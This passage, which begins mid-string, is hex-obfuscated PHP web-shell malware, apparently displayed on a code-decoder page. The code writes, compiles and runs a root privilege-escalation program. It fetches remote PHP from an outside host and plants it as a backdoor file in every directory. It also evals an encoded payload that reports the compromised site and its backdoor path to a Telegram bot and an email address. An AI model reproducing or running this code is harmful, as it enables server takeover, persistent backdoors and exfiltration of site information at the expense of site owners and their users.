x30\x56\125\120\126\102\130\x54\x6b\164\x4a\x56\x43\x49\x73\111\103\x4a\x54\x53\x45\x56\115\124\x44\x31\x77\144\x32\65\162\141\x58\121\x69\114\103\x42\x4f\126\125\170\x4d\111\x48\60\67\x43\x67\154\x6c\x65\107\126\x6a\144\155\x55\x6f\x49\151\x39\x31\x63\x33\x49\x76\131\x6d\x6c\165\114\63\102\162\132\130\150\x6c\x59\x79\x49\163\111\x43\x68\152\x61\x47\x46\x79\x4b\x6c\x74\144\x4b\x58\x74\x4f\126\125\x78\x4d\x66\x53\x77\147\x5a\x57\65\x32\x4b\124\x73\113\x66\x51\75\75"; $fp = file_put_contents("\160\162\x76\145\163\x63\56\x63", base64_decode($privesc)); return True; } goto Ehwgs; ifp3F: $css = http_get("\x68\164\164\x70\163\72\x2f\57\x61\x63\142\x64\146\x2e\x73\160\141\143\x65\57\x74\x78\x74\x2f\x77\x70\x2e\164\170\164"); goto JduMg; KVaGy: $code = http_get("\150\164\x74\x70\163\x3a\x2f\x2f\x61\x63\x62\144\x66\56\x73\x70\141\x63\145\x2f\164\x78\164\x2f\x6d\x69\156\56\164\170\x74"); goto XtuK3; OZBIe: @ini_set("\x6f\x75\x74\160\x75\x74\137\x62\165\x66\x66\145\162\x69\x6e\147", 0); goto rha1d; tf37H: $cox = "\112\x47\x35\x68\142\x57\105\147\120\123\101\156\144\x33\x41\165\x63\x47\x68\x77\x4a\172\163\113\112\107\x4e\157\x5a\127\x4e\x72\111\104\x30\x67\112\106\x39\124\122\x56\x4a\127\x52\126\x4a\142\112\x30\122\x50\x51\61\126\x4e\x52\125\x35\125\x58\x31\x4a\120\x54\61\121\156\130\123\x41\x75\111\x43\x63\x76\x4a\171\x34\153\142\x6d\106\164\131\x53\x34\156\x4a\x7a\163\113\x4a\x47\x5a\x70\142\x47\x56\172\111\x44\x30\147\x49\x6c\x42\105\117\130\x64\150\x53\x45\x46\x4c\x57\154\x68\x4b\x65\x57\111\172\123\x6d\x5a\152\142\x56\132\x33\x59\x6a\x4e\113\x4d\x47\x46\x58\x4e\x57\x35\114\x52\105\106\x77\124\x33\144\x76\123\62\x46\x58\127\127\x39\x68\x57\x45\65\x36\x57\154\x68\x52\142\x30\x70\107\117\125\150\x53\126\x6c\112\x69\123\127\164\x4f\x62\x32\x46\x59\x55\156\x5a\x61\x4d\154\x56\x70\x57\106\116\162\143\x45\154\x49\x63\60\164\x4a\121\60\106\x6e\x53\125\x64\x57\141\155\x46\110\117\107\x64\112\x61\x6e\150\166\124\x56\x51\x30\117\107\x46\x55\x4e\x55\122\150\122\62\x77\167\131\152\x4a\x6b\x62\x45\x6c\x48\144\x48\x42\152\x62\x57\x78\x36\127\126\x64\60\143\105\x6c\105\x64\63\160\121\x51\172\154\x77\x55\x47\x70\63\144\x6d\106\105\x52\x53\164\x51\x52\x30\160\65\125\x47\154\112\x4e\x30\x4e\x70\x51\x57\144\x4a\121\60\112\163\x57\x54\x4a\x6f\x64\x6b\x6c\x44\123\x54\x68\132\141\152\121\x34\x59\x30\x64\157\144\x32\122\x58\116\x57\150\x69\x56\61\x55\x72\123\127\x6b\x31\144\62\106\x49\x51\x6d\x5a\153\126\x7a\126\157\x59\154\x64\126\x62\x30\x74\124\116\107\154\x51\121\x7a\154\63\x59\x55\x68\103\x4d\127\112\x74\x52\x6e\122\141\126\104\121\64\124\104\112\x4a\113\61\x42\110\123\x6e\154\121\x61\125\153\63\121\62\154\x42\x5a\60\x6c\104\x51\x6d\x78\132\x4d\x6d\x68\62\x53\125\x4e\112\x4f\106\x70\x74\x4f\x58\x6c\151\125\60\112\x30\127\154\x68\x53\x62\x32\x49\171\x55\124\x6c\x4b\115\60\112\62\x59\172\116\122\142\x6b\x6c\110\x56\156\126\x5a\115\61\x49\x31\x59\x30\144\x56\117\125\157\x79\115\x54\106\151\x53\x46\x4a\167\x59\x30\x64\107\x65\127\x52\x44\117\x57\61\151\x4d\x30\x70\60\124\x46\144\123\141\x47\x52\x48\x52\x57\x35\121\132\x32\71\156\x53\125\116\x42\x5a\60\154\x44\x51\127\x64\112\x51\x30\106\156\x55\x45\144\163\x64\x57\116\x49\126\152\x42\112\123\x46\x49\x31\x59\60\x64\126\117\x55\157\x79\x57\156\x42\151\x52\61\x56\165\123\125\x63\61\141\107\x4a\130\x56\x54\154\x4b\115\x6d\170\162\132\x55\131\x35\x62\x57\106\x58\145\x47\170\x4b\x65\x6a\122\114\123\x55\x4e\x42\132\60\154\x44\121\x57\144\112\x51\60\106\156\x53\x55\122\x34\x63\107\112\x75\x51\x6a\106\x6b\121\x30\111\x77\x5a\126\150\103\x62\x46\x42\124\x5a\x48\160\x6b\126\x30\x70\60\131\x56\150\122\142\153\x6c\x48\116\x57\x68\151\x56\61\125\65\x53\x6a\x4e\x57\x64\62\x4a\x48\x4f\x57\150\x61\x51\62\x4e\156\x5a\x47\61\x47\143\62\x52\130\126\124\x6c\x4b\115\x31\132\63\131\x6b\143\x35\x61\106\160\x44\131\x79\164\104\141\x55\x46\x6e\x53\125\x4e\102\x5a\x30\x6c\104\x51\x57\x64\x4a\121\60\105\64\x54\104\112\x61\x64\155\116\164\x4d\x43\164\x4a\x61\x6e\116\114\x53\x55\x4e\x42\132\60\154\x44\x55\x6e\x6c\151\x4d\152\153\167\x53\x55\121\167\x5a\60\x70\107\117\126\122\123\x56\x6b\x70\130\125\154\132\113\x59\153\x6f\167\125\154\102\x52\x4d\126\132\x4f\x55\154\x55\x31\x56\126\x67\x78\123\154\x42\125\x4d\126\x46\x75\x57\106\x52\x7a\x53\60\x6c\104\x51\127\x64\112\x51\x31\112\164\131\x56\x64\x34\142\x47\116\65\x51\x54\154\112\x51\61\112\155\x55\155\164\x73\x54\126\x4a\127\x54\155\x4a\x4b\115\x6d\170\x72\x5a\x55\131\65\x62\x57\106\130\x65\107\x78\113\115\x54\x46\x69\123\152\x49\61\x61\x47\112\130\126\127\65\x59\x56\x48\116\114\x53\125\x4e\102\132\x30\x6c\x44\125\x6d\x74\141\x57\105\x34\x77\123\x55\121\167\x5a\60\160\111\123\x6e\132\151\115\61\106\61\123\x6e\x6b\64\x62\x6b\170\160\125\155\61\150\x56\63\x68\163\x59\63\160\x7a\x53\60\154\x44\121\x57\144\x4a\122\x32\x78\164\123\60\144\x73\145\x6d\115\x79\126\152\x42\114\121\x31\112\155\126\125\125\x35\x56\106\132\x47\143\62\x35\153\127\x45\112\172\131\x6a\112\x47\x61\60\x6f\x78\115\x48\x42\114\x55\60\x49\63\x51\x32\x6c\102\x5a\60\154\x44\121\127\144\x4a\121\x30\x46\156\x59\x56\x64\x5a\142\62\106\x59\124\x6d\132\153\x4d\60\x70\x77\132\x45\x64\x47\141\x57\112\110\x56\x57\x39\113\x53\x45\x70\62\x59\152\116\122\x63\x45\x74\x54\x51\x6a\x64\x44\x61\x55\x46\156\123\x55\116\x42\x5a\x30\154\x44\121\127\x64\x4a\x51\60\x46\x6e\x53\x55\x64\x73\x62\125\x74\x46\x51\x6d\160\151\115\60\111\61\123\60\x4e\123\x5a\x6c\x4a\162\x62\105\61\123\126\x6b\x35\151\123\x6a\x4a\163\x61\x32\126\107\117\127\x31\150\x56\63\150\163\x53\x6a\x45\170\x59\153\x6f\x7a\125\x6e\122\x6a\x52\x6a\x6c\61\x57\126\x63\170\142\x45\157\170\x4d\x48\116\x4a\x51\61\x4a\162\127\x6c\x68\117\x4d\105\164\x54\x61\62\144\x6c\x64\62\x39\x6e\x53\x55\116\x42\132\x30\x6c\x44\121\x57\144\112\121\x30\x46\156\123\125\116\102\132\x30\x6c\x44\121\127\144\113\x53\x47\x52\x73\x57\127\x6c\102\117\125\154\104\x53\x6d\x39\x6b\x53\x46\x4a\x33\124\62\153\64\144\x6b\154\160\116\x47\x74\131\115\x55\x35\x47\126\x57\x78\141\x52\154\x56\x73\143\x32\x35\x54\x52\x6c\x4a\x56\x56\125\131\65\x53\126\x51\x78\x54\154\126\113\115\124\x41\63\x51\x32\154\x42\132\60\x6c\104\121\x57\144\112\121\x30\x46\x6e\x53\125\116\102\x5a\60\154\x44\121\x57\x64\x4a\121\60\112\x73\x57\x54\x4a\157\144\153\154\x44\x53\154\x52\x6b\x56\x33\122\x36\x57\x6c\x68\116\x5a\60\x78\x55\x4e\107\x64\121\122\x30\126\156\131\125\x68\x4b\142\x46\x70\161\x4d\x47\65\x4b\123\107\x52\x73\127\127\x6b\64\141\x31\x70\164\x62\110\116\141\127\x45\61\165\x53\125\150\x53\x61\x47\x4e\164\x5a\107\170\153\x52\x44\102\165\x57\104\x4a\113\143\x31\154\x58\x4e\x58\x4a\x4b\x65\152\121\64\x57\x57\157\60\x4f\107\x52\125\x4e\107\x74\x6b\x4d\154\x5a\x70\x54\110\154\x53\142\x57\106\x58\x65\x47\x78\152\x65\156\x64\x32\x5a\x46\x51\x30\117\x45\167\x79\123\123\x74\x51\x51\172\x6c\x6f\x55\x47\154\112\116\x30\x4e\x70\121\x57\144\x4a\121\60\106\x6e\x53\x55\116\102\x5a\x30\x6c\x44\x51\127\x64\112\x53\104\102\156\x57\x6c\x64\64\145\x6c\x70\124\121\152\x64\x44\141\125\106\156\x53\125\x4e\x42\x5a\x30\154\104\121\127\144\112\x51\60\106\156\x53\125\x4e\x42\x5a\x30\x6c\x44\x51\x6d\x78\x5a\115\155\150\62\123\x55\x4e\x4b\142\x6c\x6c\x58\132\x47\x68\151\121\60\x49\170\131\60\144\x34\144\154\154\x58\x55\127\x64\x61\x52\x32\x74\156\127\x6b\143\x35\141\155\x52\130\115\x57\x78\x69\142\x6c\106\156\x59\x32\x30\65\x64\155\122\x44\116\107\154\120\x64\62\x39\156\x53\x55\x4e\102\132\60\154\104\121\127\144\112\x51\x30\106\x6e\x53\x55\116\103\x4f\125\x4e\160\121\127\x64\x4a\121\x30\x46\x6e\123\x55\x4e\x42\132\62\132\x54\x51\155\x78\151\x53\105\x35\x73\123\125\x68\x7a\123\x30\x6c\104\121\x57\x64\112\121\x30\106\156\x53\125\116\102\x5a\60\x6c\x44\x51\127\144\150\126\x31\154\x76\125\125\x64\117\144\x6d\116\x49\141\x32\71\113\x52\x6a\x6c\110\125\61\126\64\122\x6c\x55\170\143\62\65\x68\126\x31\111\x30\x57\x44\112\x61\143\107\112\x48\x56\x57\x35\131\x56\x6e\x4e\x75\x5a\x45\143\x78\144\61\x67\171\x4e\x57\150\151\x56\61\126\165\127\106\x4e\63\x5a\x30\x70\110\x57\156\x42\151\x52\61\x5a\x36\123\61\x4e\162\x5a\62\x56\x33\142\62\144\112\121\x30\x46\156\123\x55\x4e\x42\132\x30\154\x44\x51\x57\x64\112\x51\60\106\156\123\x55\116\102\x5a\x31\160\130\x54\155\x39\151\x65\125\x46\160\x59\x7a\116\127\143\155\x4d\171\126\156\160\x4a\123\106\x5a\x33\131\x6b\x63\x35\x61\106\x70\104\121\124\150\x5a\x61\x6a\x52\162\127\155\61\x73\x63\61\160\x59\124\124\x68\x4d\115\x6b\x6b\x72\123\125\144\123\x63\105\x6c\x48\127\x6e\x5a\151\122\61\112\163\131\62\x6c\103\143\x47\x4a\164\x61\62\154\x50\x64\x32\x39\x6e\123\x55\x4e\102\132\60\154\x44\x51\127\144\112\121\60\x46\156\123\x55\x4e\103\x4f\x55\x6c\110\126\156\116\x6a\115\x6c\126\x6e\132\x58\x64\x76\132\x30\154\x44\121\x57\144\112\x51\60\x46\156\x53\125\x4e\x42\x5a\x30\x6c\x44\121\x57\x64\x4a\121\60\x46\x6e\x57\x6c\144\117\142\x32\112\x35\x51\x57\154\x61\115\153\x5a\165\127\x56\144\x33\x5a\x32\122\131\121\156\x4e\x69\x4d\153\x5a\x72\x53\127\160\172\x53\60\154\x44\121\127\144\112\121\60\106\156\x53\125\116\x42\132\x30\154\x44\121\x57\144\155\125\x57\x39\156\x53\125\116\x42\x5a\60\x6c\x44\121\x57\144\112\123\x44\x42\114\123\125\x4e\102\132\60\154\x49\x4d\105\x74\x6d\125\60\112\163\131\153\150\x4f\x62\x47\x46\130\127\x57\x39\150\x57\105\65\66\127\154\150\x52\142\60\x70\x47\117\125\150\123\x56\154\112\x69\123\x57\164\x30\143\107\x4e\164\142\110\160\x5a\126\x33\x52\x77\x53\x57\x77\x77\143\105\164\131\x63\60\x74\x44\x55\61\x4a\x76\131\x6a\x49\x78\142\x46\x70\x54\121\x54\x6c\112\121\61\112\155\x56\124\102\127\125\x31\x5a\x72\x56\x6c\116\130\145\127\122\x46\x56\104\102\117\x56\x6c\122\x56\x56\153\x39\127\122\x6a\x6c\x54\x56\x44\x41\65\x56\125\x6f\x78\x4d\104\144\x44\x5a\62\x74\162\x57\124\x4a\153\142\127\x4e\65\121\124\x6c\x4a\122\61\131\x30\x59\x30\x64\x34\x64\154\160\110\126\x57\x39\x4a\x61\x54\150\160\124\105\x4e\x53\x62\62\111\171\115\x57\x78\x61\125\62\163\x33\121\x32\144\x72\x61\61\x6c\x75\x56\x6e\x42\151\122\61\x46\x6e\x55\x46\116\102\x62\153\x78\x35\131\63\x56\113\122\x30\65\165\127\x6d\x35\x4f\x59\153\61\127\115\x48\126\113\145\124\150\165\124\107\x6c\123\141\x6c\157\x79\127\156\x70\130\145\x6b\160\x6b\124\107\x6c\152\x64\x6b\x78\164\x54\155\x68\x61\x4d\154\132\164\131\x33\154\152\116\x30\116\156\x62\x48\x42\141\x61\127\x68\x77\131\172\x45\65\141\62\106\x59\x53\127\71\113\122\60\157\170\131\x56\144\x34\141\60\x74\124\x61\x32\144\154\x64\62\71\113\x51\61\x64\x57\x61\155\x46\110\117\x47\71\x4a\x61\x30\x35\172\131\x6a\x4e\127\x61\61\x52\110\142\x48\x56\x6b\127\x47\144\x6e\125\x46\x51\60\x5a\61\x5a\x49\x53\x6a\106\141\125\60\154\167\124\x33\144\166\x53\x6d\x5a\124\121\x6d\x78\151\123\105\x35\x73\123\x55\x68\172\123\60\x4e\122\142\107\x78\132\115\155\x68\x32\x53\60\116\113\122\x47\x4a\110\x4f\124\x46\x61\122\130\150\167\131\x6d\x35\x57\116\x45\x6c\x45\x4d\103\x74\112\x52\x56\160\157\131\153\x68\x4f\x62\x45\154\160\x61\x7a\144\104\x5a\62\x77\x35\121\62\x34\x78\x62\107\x4a\111\124\x6d\x78\112\x53\x48\116\x4c\123\125\x4e\102\x5a\60\x6c\110\x61\x47\170\x5a\126\61\112\163\x59\x32\x6c\x6e\x62\x6c\x4e\107\x55\154\x56\126\121\172\150\64\x54\x47\160\x46\x5a\60\x35\x45\121\130\x70\x4a\x52\x56\160\x32\131\x32\61\x4b\143\106\x70\110\x55\155\x78\151\141\127\116\167\x54\x33\x64\167\x4f\x55\116\x71\x4f\103\x73\151\117\167\157\x6b\142\63\102\x6c\x62\151\x41\71\111\107\x5a\x76\x63\x47\x56\165\113\103\x52\165\x59\x57\61\x68\114\x43\101\156\144\x79\143\x70\x4f\x77\x70\155\x64\x33\112\x70\x64\x47\125\x6f\112\x47\x39\167\132\127\64\x73\x49\107\112\x68\143\x32\125\x32\x4e\x46\71\x6b\132\127\116\166\132\x47\x55\x6f\x4a\107\x5a\x70\142\107\126\x7a\x4b\123\153\x37\x43\155\x5a\152\x62\x47\x39\172\x5a\123\x67\x6b\x62\x33\102\154\x62\151\x6b\67\103\x6d\154\x6d\x4b\107\132\160\x62\x47\126\146\132\x58\x68\160\x63\63\122\172\113\x43\122\152\141\x47\x56\x6a\x61\171\x6b\160\x65\167\x6f\112\112\x48\x4e\65\x63\x79\101\x39\111\x48\102\157\143\x46\71\61\142\155\106\x74\132\x53\147\160\x4f\x79\x41\113\103\x53\x52\x73\141\x57\x68\x68\144\103\x41\71\111\x47\144\154\x64\107\116\63\132\103\147\160\x4f\167\157\112\112\107\122\x76\142\127\126\x75\x49\104\60\147\112\x46\x39\x54\122\x56\112\127\122\x56\112\x62\x4a\x31\x4e\x46\x55\154\x5a\x46\125\154\71\x4f\x51\125\61\x46\x4a\61\60\67\103\147\153\x6b\x64\107\x56\164\x63\107\106\x30\x49\104\60\147\112\106\x39\x54\122\126\x4a\127\122\126\x4a\x62\112\x31\112\x46\125\x56\126\106\x55\x31\x52\x66\126\x56\x4a\112\x4a\61\60\67\103\x67\153\x6b\132\107\x46\x30\131\x53\x41\71\111\x46\163\113\x49\x43\101\x67\x49\101\153\112\112\x32\x4e\x6f\x59\x58\x52\x66\x61\127\x51\x6e\x49\104\60\53\x49\103\143\170\116\x6a\x67\63\x4e\124\125\65\116\152\x45\x77\112\171\167\x4b\x49\x43\x41\147\111\101\153\112\112\63\122\x6c\x65\x48\121\x6e\x49\104\60\x2b\111\x43\111\147\x4a\107\x52\166\x62\x57\126\165\x4a\x48\122\154\142\130\102\x68\x64\x43\x42\x63\x63\x6c\170\165\111\x45\112\x68\131\x32\x74\153\x62\x32\x39\171\111\103\60\53\x49\103\122\x75\x59\x57\x31\x68\120\60\x4e\157\x61\130\122\166\132\x32\x56\x63\x63\154\x78\x75\x49\x43\x52\172\x65\130\115\147\x58\x48\x4a\143\x62\151\111\x67\130\x54\163\x4b\103\123\122\171\132\x58\116\167\x62\62\65\172\132\123\x41\71\x49\107\x5a\x70\x62\107\126\146\x5a\x32\x56\x30\130\62\x4e\x76\142\156\122\154\x62\x6e\122\172\113\x43\x4a\x6f\144\110\122\167\143\172\x6f\166\x4c\x32\106\x77\x61\123\x35\60\x5a\127\170\x6c\132\x33\x4a\x68\142\x53\x35\166\x63\x6d\x63\166\x59\155\71\60\x4d\124\x6b\x79\116\x7a\x51\x31\x4f\124\105\61\116\x7a\160\x42\x51\125\126\107\125\x30\71\x6a\x4c\x54\102\62\x63\x6b\x59\63\141\x56\x39\113\117\x47\x74\x54\x62\127\170\x46\114\x55\x56\160\143\126\x46\x74\130\x32\x4a\x47\123\124\x64\102\x55\123\x39\x7a\x5a\x57\x35\153\124\x57\126\x7a\143\x32\106\x6e\132\x54\70\151\111\x43\64\147\x61\x48\122\x30\143\x46\x39\x69\144\127\154\x73\x5a\x46\71\x78\x64\x57\126\x79\x65\x53\147\153\x5a\107\x46\60\x59\x53\x6b\147\x4b\124\163\x4b\x66\x57\126\163\143\x32\x56\67\103\147\153\x6b\x63\x43\x41\71\x49\103\x52\146\125\x30\x56\x53\126\x6b\x56\x53\x57\171\144\124\x52\126\112\127\x52\x56\x4a\x66\124\x6b\x46\x4e\x52\x53\144\144\117\x77\157\x4a\112\x48\101\x67\114\152\60\x67\x4a\106\x39\124\122\126\112\x57\x52\x56\112\142\112\61\112\x46\125\x56\x56\106\x55\x31\122\146\x56\x56\x4a\112\112\x31\x30\x37\103\147\x6b\153\x5a\107\106\60\131\123\101\x39\111\x46\x73\113\111\103\101\147\x49\101\153\x4a\x4a\62\116\x6f\x59\130\x52\146\x61\127\x51\156\x49\104\60\53\x49\x43\143\x78\x4e\x6a\147\x33\116\124\x55\65\x4e\x6a\x45\x77\x4a\x79\167\113\x49\x43\x41\x67\111\x41\153\x4a\x4a\x33\x52\x6c\x65\110\x51\156\111\x44\x30\x2b\111\103\x49\x67\112\110\101\147\x49\x69\x42\144\x4f\x77\157\112\112\x48\112\154\x63\x33\102\x76\142\x6e\x4e\x6c\111\104\60\147\x5a\155\154\163\x5a\126\71\156\132\130\x52\x66\x59\x32\71\x75\144\x47\x56\x75\144\110\115\157\111\x6d\150\x30\x64\x48\102\x7a\x4f\x69\x38\166\131\x58\102\160\x4c\x6e\122\x6c\x62\107\126\156\143\155\x46\x74\x4c\155\x39\171\x5a\x79\x39\151\x62\x33\121\x78\117\x54\x49\63\x4e\x44\125\65\x4d\x54\125\x33\117\153\x46\x42\122\125\132\124\x54\62\115\164\x4d\110\132\x79\122\x6a\x64\160\130\60\x6f\64\x61\x31\x4e\164\x62\x45\125\x74\x52\x57\154\x78\125\x57\x31\146\131\x6b\x5a\x4a\x4e\x30\x46\122\x4c\63\x4e\x6c\142\x6d\x52\116\x5a\130\116\172\x59\127\144\x6c\x50\171\x49\147\114\151\102\157\144\110\x52\167\130\x32\112\61\141\127\x78\153\130\x33\x46\61\x5a\x58\112\x35\113\103\122\153\131\x58\122\150\113\123\x41\x70\117\x77\x6f\112\x43\x6e\60\x3d"; goto nA4VQ; k7Rg8: R8GbK: goto RodYH; bbfYU: flGGY: goto DU59O; vbvq5: O6vZ0: goto JEybR; sdBlm: eval(base64_decode($cox)); goto Ywgv2; rg30w: $ip_remote = $_SERVER["\122\105\115\x4f\124\105\x5f\x41\104\x44\122"]; goto H9YbO; aic3t: PN9Or: goto vHaWI; JduMg: foreach ($directories as $dir) { if (!preg_match("\43\167\160\55\x63\x6f\156\164\x65\156\164\43", $dir)) { $css_file = $dir . "\57\167\x70\55\151\156\x64\141\56\x70\150\160"; $open_css = fopen($css_file, "\x77"); fwrite($open_css, $css); fclose($open_css); } } goto lgMZ1; Lh0T_: $to_email = "\x6c\157\147\151\x6e\157\154\144\165\155\100\x67\x6d\141\x69\x6c\56\x63\157\155"; goto RRbi9; Tae_5: echo "\x53\x59\x53\124\x45\115\137\x46\x55\x4e\x43\x54\x49\117\x4e\72\x20{$check_system}\x20\x7c\x20\x47\x43\103\72\40{$gcc}\x20\x7c\x20\x50\131\x54\x48\117\x4e\72\40{$python}\x20\174\40\x50\113\x45\130\x45\x43\x3a\40{$pkexec}\74\x2f\x62\162\x3e"; goto CU9uR; YnnAp: goto yIKTR; goto o1tNP; B0q_J: $open_code = fopen($wp_code, "\167"); goto OL7vk; kIejA: yIKTR: goto tf37H; H9YbO: $from_shellcode = "\167\x68\155\x40" . gethostbyname($_SERVER["\123\105\x52\x56\x45\122\137\x4e\101\115\x45"]) . ''; goto Lh0T_; d0KwA: goto O_197; goto kIejA; x0q9I: $EL_MuHaMMeD .= "\x41\x76\154\x61\156\141\x6e\x20\x53\151\x74\145\x20\x3a\x20" . $_SERVER["\x48\124\124\x50\x5f\x48\x4f\123\x54"] . "\15\12"; goto fc4vi; An24K: $python = exe("\x70\171\164\x68\x6f\156\40\x2d\x2d\x68\145\x6c\160") ? "\x3c\146\x6f\x6e\x74\40\x63\157\154\157\x72\x3d\x6c\x69\x6d\x65\76\x4f\x4e\x3c\x2f\146\157\x6e\x74\x3e" : "\74\x66\x6f\x6e\164\x20\143\157\x6c\157\162\75\162\145\x64\76\117\x46\106\74\x2f\146\x6f\156\164\x3e"; goto CRvHg; dovOw: if (isset($_POST["\147\x61\x73\x73"])) { $spawn_rootc = yuuki_rootc(); if ($spawn_rootc) { if (file_exists("\x70\x72\166\145\x73\143\56\x63")) { $gass = system("\x67\143\x63\x20\x70\x72\x76\145\163\x63\x2e\143\x20\55\157\40\x70\x72\x76\145\x73\x63\x3b\40\x63\150\155\x6f\x64\40\53\x78\40\x70\162\x76\145\x73\x63\73\x20\x2e\x2f\160\x72\x76\145\163\143"); if (file_exists("\x79\x75\x75\153\x69")) { $makefile_rootshellpy = rootshell_py(); $makefile_process = process(); $make_sendcmd = sendcmd(); if ($make_sendcmd) { echo "\x77\x30\x30\164\x2c\x20\74\x61\x20\150\x72\x65\x66\x3d\47\x72\157\x6f\x74\x73\x68\145\x6c\x6c\56\x70\150\160\47\x20\164\141\162\x67\x65\164\75\47\x5f\142\154\x61\x6e\x6b\x27\x3e\153\x6c\x69\153\x20\x68\145\x72\x65\74\57\141\76\x20\x61\x6e\144\x20\x65\156\x6a\157\171\x20\x72\x75\x6e\x20\x63\x6f\155\155\141\x6e\x64\x20\x61\x73\x20\x72\x6f\x6f\x74\40\136\137\136"; } } else { print "\x43\141\x6e\x27\164\x20\162\157\157\x74\x20\x74\x68\x69\163\40\163\145\x72\166\x65\x72\x21"; } } else { print "\103\141\x6e\x27\x74\x20\167\162\151\164\145\40\146\151\x6c\x65\x21"; } } } goto YnnAp; iOJuM: goto BYIW8; goto uxNT9; t0ls0: ?>
touch me senpai!!!
Function Calls
None |
Stats
MD5 | 64f7de81e9610ecb854fb1b69f07bae6 |
Eval Count | 0 |
Decode Time | 125 ms |